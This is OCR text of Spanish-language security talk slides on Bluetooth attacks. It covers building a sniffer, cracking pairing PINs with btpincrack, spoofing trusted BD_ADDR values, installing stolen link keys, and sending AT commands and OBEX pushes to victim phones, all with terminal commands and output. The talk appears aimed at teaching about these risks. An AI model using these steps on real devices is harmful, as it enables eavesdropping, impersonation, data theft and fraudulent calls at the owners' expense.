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A Introduccién

A Bluetooth y sus mecanismos de seguridad

I Salto de frecuencias vs. Sniffing Bluetooth
I Emparejamiento vs. PIN Cracking
I Autenticacion y Autorizacion vs. BD_ADDR Spoofing

A Vectores de atagque Bluetooth
A Demo, concatenando formas de ataque
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tores de riesgo

A Consumo del $aldo

I Llamadas de voz
IEnv2o de SMS, MMS . =
I Conexion a Internet

A Acceso a informacién confidencial
SEY~gph=«

A Inutilizacion temporal del teléfono
I Blogueo, reinicio, desvios de llamadas
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A : Qué es (3)Bluetooth ?

Es la especificacion que define un estandar global de comunicaciones
iInalambricas para redes de area personal que permite la
transmision de voz y datos entre diferentes equipos mediante un
enlace de radiofrecuencia en entorno moviles y estaticos.

A Frecuencia de radio

I 2.4 GHz, disponible en todo el mundo

A Topologia de red

I Tecnologia de redes PAN (Personal Area Network)

I Comunicacion stand-alone a nivel mundial entre dos dispositivos
I Hasta 8 dispositivos se pueden conectar formando una Piconet

I La union de varias Piconets se denomina Scatternet




acanismos de seguridad

A Salto de frecuencias
A Emparejamiento de dispositivos
A Autenticacion




pcanismos de seguridad

A Salto de frecuencias

I Se evitan interferencias con otras tecnologias inalambricas
I Los esclavos de una piconet se sincronizan con el maestro

I Emplea la técnica FHSS (Frequency Hopping Spread Spectrum):
A Divide la banda en 79 canales de longitud 1 MHz
A Realiza 1600 saltos por segundo entre canales
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Es posible conseguir la tabla de saltos

i Durante el establecimiento de conexion a una piconet, se genera
una tabla pseudo-aleatoria con el patron de saltos de frecuencia
gue utilizan los dispositivos que pertenecen a la piconet.

I Se necesita conocer la direccion BD_ADDR del maestro y su reloj
interno para afadir el desplazamiento al reloj del esclavo.

Piconet PN
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ffing Bluetooth

Cronologia del sniffing en Bluetooth

2005 — FTE desarrolla el primer sniffer comercial FTS4BT, precio 10,000$
06 —

07 |—
Max Moser publica un procedimiento para construir un sniffer a partir de un

adaptador Bluetooth convencional utilizando el firmware de FTS4BT

Andrea Bittau y Dominic Spill publican el paper Bluesniff
Andrea Bittau desarrolla frontline para enviar comandos a un sniffer hardware

08 = Drgr33n publica Blue|Smash, una suite para sniffing Bluetooth




ffing Bluetooth

(Sh

Construir un sniffer Bluetooth

I Hardware:
A Chipset Cambridge Silicon Radio (CSR)
A BC4 External or Flash. Si tiene Memoria ROM no vale.

I Software:
A bcemd: modificar la configuracion del firmware

A dfutool: flashear el adaptador y actualizar el firmware
A Firmware airsnifferdev4*bc4.dfu extraido de FTS4BT*




‘gospel@gospel=shift: ~
Archivo Editar Ver Terminal Solapas Ayuda
gospel@gospel-shift:~$ hciconfig A

1. Construir sniffer [reit: “ree: use

BD Address: 00:0A:94:01:D9:E1 ACL MTU: ©:0 SCO MTU: 0:0
UP RUNNING RAW

RX bytes:18 acl:0 sco:0 events:0 errors:0

TX bytes:3 acl:0 sco:® commands:1 errors:0

gospel@gospel-shift:~$ |

2. Esperar al intercambio de tabla de saltos

./csr sniffer -d hecil -p -z -e
0x0 Hdro® ©6x99 [type: 3 addr: 1] LLID 3 Len 2 LMP Tid © Opl 3

0x0 Hdro ©x99 [type: 3 addr: 1] LLID 3 Len 9 LMP Tid 1 Opl 3

OX0E Ch 78 M Clk ©x718AAE4 Status O0x© Hdre ©x99 [type: 3 addr: 1] LLID 3 Len 16 LMP Tid © Opl
: 60 56 8C 03 01 FF FF FF FF FF FF FF FF FF 7F

Ox0E Ch 23 M Clk 6x718ABO@ Status 0x© Hdr@ 6x99 [type: addr: 1] LLID 3 Len 9 LMP Tid 1 Opl 4
: FF FF OF 00 18 18 00 00

Ox0E Ch 21 M Clk ©x718ABO8 Status 0x® Hdre ©x99 [type: addr: 1] LLID Len 7 LMP Tid © Opl 1

Op2 16: 01 40 1F 80 3E

Ox0E Ch 04 S Clk Ox718ABOA Status 0x0 Hdr® 0x99 [type: addr: 1] LLID 3 Len 1 LMP Tid 1 Opl 4

OX0E Ch 27 M Clk ©x718AB54 Status 0x© Hdr® x99 [type: addr: 1] LLID 3 Len 17 LMP Tid © Opl
: F2 8B 06 26 AE 54 7C 47 D3 9F 06 B4 59 C8 OE A7
| OxBE Ch 64 S Clk ©Ox718ABF6 Status 0x0 Hdr® 0x99 [type: addr: 1] LLID 3 Len 2 LMP Tid 1 Opl 1
§: 00
HL Ox0E Ch 16 M Clk ©x718ACO8 Status 0x0 Hdr® ©x99 [type: addr: 1] LLID 3 Len 17 LMP Tid 1 Opl
‘ 69 6D 20 78 33 30 00
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canismos de seqguridad

A Emparejamiento de dispositivos
i Emparejamiento a Relaci-n de

Dos dispositivos solo se pueden comunicar si estan emparejados
I Algoritmo ¢ seguro?

cCoO
i

A Entrada: PIN + BD_ADDR de dispositivo + Nim aleatorio IN_ RAND
A Salida: Clave de enlace, utilizada para autenticacion

‘s | Inicio e = :;,!Iniciow s
UMTS movistar 14/02/0%9 Escribir contrasefia

vy | Configuracion (9 ok

Bluetooth

Escriba una contrasefia para establecer una
conexion segura con Sony Ericsson z750.

Puntze &n Afadir nuevo dispositive para
buscar otros dispositivos Bluetooth. Puntee
en un dispositivo para modificar su

configuracion.
Cadigo de

[ ]

Afiadir nuevo dispositivo...

] sony Ericsson 2750 |

Cancelar

Siguiente
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Es p05|ble crackear por fuerza bruta

Shaked y Wool publicaron un procedimiento criptologico teorico
para crackear el algoritmo del emparejamiento Bluetooth

Basicamente, se pueden ir probando entradas por fuerza bruta
hasta que los hashes generados coincidan con aquellos que se
han capturado durante la sesion de sniffing.
Se necesitae
A PIN (Se genera por fuerza bruta, aunque por lo general son 4 digitos)
A Direcciones BD_ADDR de los dispositivos emparejados (Se conoce)

A Num aleatorio IN_RAND que en realidad resulta no ser tan aleatorio,
¢, depende en cierta manera del timestamp? (Se conoce el clock-offset)

Tiempos de respuesta en implementaciones practicas P4 3.6GHz:
A 0.24 secs en crackear un PIN de 4 digitos (0.001 secs en FPGA)
A 42 mins en crackear un PIN de 8 digitos (10 secs en FPGA)



yetooth PIN Cracking

Cronologia del PIN Cracking

2003 = QOlly Whitehouse anuncia debilidades en la implementacién del
Intercambio de claves para el emparejamiento Bluetooth

04 |—

05— Shaked y Wool, teoria criptografica para crackear el emparejamiento

06 =~ (Joshua Wright demuestra que es posible con su técnica Bluepinning)

Thierry Zoller desarrolla BTCrack para Windows, permite crackear el
07 [— PIN y la clave de enlace a partir de la captura del emparejamiento

David Hulton publica btpincrack para proyecto OpenCiphers en Linux
08 —

Implementacion FPGA de btpincrack / BTCrack




etooth PIN Cracking

1. Sniffar durante el emparejamiento de dos dispositivos

=) SR G e TR S BIGes BTae SR L OOt T

: A4 AE 80 52 31 30 C9 45 81 F9 F2 B9 69 FC 09 D8
Ox0E Ch 46 M Clk 6x719084C Status 0x0 Hdr©® ©x99 [type: 3 addr: 1] LLID 3 Len 17 LMP Tid © Opl
: 46 EC 36 66 09 6B CO F3 6F ©OA 85 FA 84 88 DC 22
Ox0E Ch 27 S Clk 0x71908A6 Status ©x0 Hdr® ©x99 [type: 3 addr: 1] LLID 3 Len 5 LMP Tid © Opl 1
: F5 6D 28 60
Ox0E Ch 62 S Clk ©6x71908B2 Status 0x0 Hdr® ©x99 [type: 3 addr: 1] LLID 3 Len 17 LMP Tid © Opl
: 4B 57 50 03 A® FE 92 OF 5C C2 8A 7B 61 65 DE 52
Ox0E Ch 31 M Clk ©x71908F4 Status ©x0 Hdr® ©x99 [type: 3 addr: 1] LLID 3 Len 5 LMP Tid © Opl 1
2: A® 5C 93 08
btpincrack Go <master> <slave> T28b0626ae547c47d39T06b459¢c80ea7 96f2da3e7816ebcd40c1913e9cdffocaf
43e80523130¢9458119f2b969fc09d8 46ec3666096bcOf36f0a85fa8488dc22 4b575003a0fe920f5cc28a7b6165deS

3 PG GOEP SRR = BT083] 6Car0 ATBUpTAEr kA0S rEE

7:E4:70 f28b0626ae547c47d39f06b459c80ea7 96f2da3e7816ebc40c1913e9cdffocal ad4ae80523130c9458119f2b
969fc09d8 46ec3666096bcOf36f0a85fa8488dc22 4b575003a0fe920f5cc28a7b6165de52 305¢9308 f50d2860

m bd addr: ©0 10 c¢6 55 e4 39

s bd addr: ©0 1b 59 97 e4 70

in rand: f2 8b 06 26 ae 54 7c 47 d3 9f 06 b4 59 c8 Oe a7
m comb key: 96 f2 da 3e 78 16 eb ¢4 6¢ 19 13 e9 cd ff oc af
s comb key: a4 ae 80 52 31 30 ¢9 45 81 f9 f2 b9 69 fc 09 d8
m au rand: 46 ec 36 66 09 6b cO® f3 6f 0a 85 fa 84 88 dc 22
s au rand: 4b 57 50 03 a0 fe 92 of 5¢ ¢2 8a 7b 61 65 de S2
m

Sres: ae 5¢ 93 es
S sres: f5 ed 28 60 ‘
Kab: 56 96 28 ca 31 db 1c c9 38 10 42 2e cf c6 4c b7
pin: 31173

@@@ gospel@gospel-shift:~/bluez/oc-ve.3/btpincrack-ve.3$




canismos de seguridad

A Autenticacion

I Es el proceso por el cual un dispositivo Bluetooth verifica su
iIdentidad en otro dispositivo para acceder a los servicios que ofrece

I Esquema desafio / respuesta basado en la BD_ADDR y en la clave
de enlace generada durante el emparejamiento de dispositivos
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canismos de seguridad

A Autorizacion

I Es el proceso que determina los derechos que tiene un dispositivo
Bluetooth para acceder a los servicios que ofrece un sistema

I Se gestiona mediante una lista de dispositivos de confianza que
determina la capacidad de acceso a los servicios
A Dispositivos de confianza: acceso sin restricciones

A Dispositivos no confiables: requiere autorizacion FTma
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Mgcanismos de seguridad

A Cifrado

I Garantiza la confidencialidad de la informacion transmitida sobre
un enlace Bluetooth

i Implementacion opcional, pero siempre tras una autenticacion




real | dadé

Credenciales de seguridad en Bluetooth:
I Autorizacion
A Se basa en la BD_ADDR de dispositivo
A Si existe en lista de dispositivos de confianza, queda autorizado

I Autenticacion
A Se basa en la BD_ADDR de dispositivo + clave de enlace

A Si la clave en enlace generada durante el emparejamiento con
ese dispositivo coincide, queda autenticado

¢, Qué pasa si un atacante suplanta la BD_ADDR de un
dispositivo de confilanza?

.Y si tiene acceso a la clave de enlace de uno de los
dispositivos emparejados?




Permite suplantar la identidad de un dispositivo de confianza para
atacar un teléfono y utilizar sus credenciales para acceder a perfiles
gue requieren autenticacion y/o autorizacion

Se desarrolla en dos niveles: M
A Suplantacion de la direccion BD_ADDR
de un dispositivo de confianza para

acceder a perfiles que requieren Too)
autorizacion _ ‘_

A Suplantacion de la direccion BD_ADDR
y la clave de enlace generada durante el
emparejamiento para acceder a perfiles ‘oo
gue requieren autenticacion - m




_ADDR Spoofin

A Suplantar la BD_ADD de un dispositivo de confianza

= gospel@ GospelFC5:/ ]

Archivo Editar Ver Terminal Solapas Axuda

[root@GospelFCS5 /]# bdaddr -i hciO O0:0A:3A:54:F7:4D
L

[I
[

Manufacturer: Cambridge Silicon Radio (10)
Device address: 00:0A:94:01:D9:E1
New BD address: 00:0A:3A:54:F7:4D

Address changed - Reset device now

A Suplantar la clave de enlace (instalar en /var/lib/bluetooth)
ARobar del regi stro de Wi ndows,
A Capturar mediante sniffing del emparejamiento Bluetooth

+ [@ Microsoft

Ix
= & wipcoMm I
i

alue name:
LinkKey

Value data:

- [& BtConfig
+ [E Applications
+ [E Debug
- (& Devices
@ 00:12:d1:ce: e
gospel@ GospelFCS5:/var/lib/bluetooth/00:14:92:01:5A:4B

Archivo Editar Ver Terminal Solapas Ayuda
[root@GospelFC5 bluetooth]# mkdir 00:14:92:01:5A:4B

Rt e s | [T00t@GospelFCS5 bluetooth]# cd 00:14:92:01:5A:4B

[root@GospelFC5 00:14:92:01:5A:4B]# echo 00:12:D1:CE:EA:A7 864BB7279336FAB46AF60
BC340047D85 0 > linkkeys

Bl [ ro0t@CospelFC5 00:14:92:01:5A:4B]# cat linkkeys

@@@ 00:12:D1:CE:EA:A7 864BB7279336FAB46AF60BC340047D85 0O

00 00 00 00 00...
857D 0440C3...
4E 4F 4B 49 41...

38596 (0X0096...




acanismos de seguridad

A Salto de frecuencias
A Emparejamiento de dispositivos
A Autenticacion




ctores de ataque

Perfiles Bluetooth: Definen los protocolos y
caracteristicas de los modelos de uso de Bluetooth

»
1
%

)

L

Perfil de Puerto Serie

Perfil de Acceso Telefonico a Redes

Perfil de Auriculares

Perfil de Pasarela de Audio

Perfil de Acceso a Red

Perfil de Transferencia de Archivos (OBEX FTP)
Perfil de Carga de Objetos (OBEX PUSH)

Perfil de Sincronizacion

Perfil de Dispositivos de Interfaz Humana



tores de ataque

A Ejecuciéon de Comandos AT

¥ Conexion al Perfil de Acceso Telefonico a Redes
A Requiere autenticacion y autorizacion

[ Acceso a llamadas de voz
Configuracion de desvio de llamadas
Acceso a la agenda de contacto

| Acceso a mensajes SMS

T Alcance -

=3 gospel® GospelFC5:~

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@CGospelFCS ~1% cu -1 rfcommO0 -s 9600
Connected.

at+gmi

SGH-1320

OK
at+gmr
Samsung ; SGH-1320;I320XXFF4;14965

OK
atd619123456;
OK

I




tores de ataque

A Acceso a través de OBEX PUSH

% Conexion al Perfil de Carga de Objetos

A Requiere autorizacion
Env2o de archivos mal

gospel@ GospelFC5:~
Axuda

Archivo Editar Ver Terminal Solapas

[gospel@GospelFCS5 ~]% rfcomm connect O OO:0E:6D:EB:08:91 9
Connected /dev/rfcommO to OO:0E:6D:EB:08:91 on channel 9

Press CTRL-C for hangup

gospel@ GospelFC5:~
Ayuda

Archivo Editar Ver Terminal Solapas
[gospel@GospelFC5 ~]1% ussp-push /dev/rfcommO /home/gospel/owned. jpg foto.jpg
size=47829

name=/home/gospel /owned. jpg,
Connection established
[gospel@GospelFC5 ~1% []

(4




ctores de ataque

A Acceso a través de OBEX FTP

ﬂ Conexion al Perfil de Transferencia de Archivos
A Requiere autenticacion y autorizacion

I Subida y descarga de archivos, listado de directorios




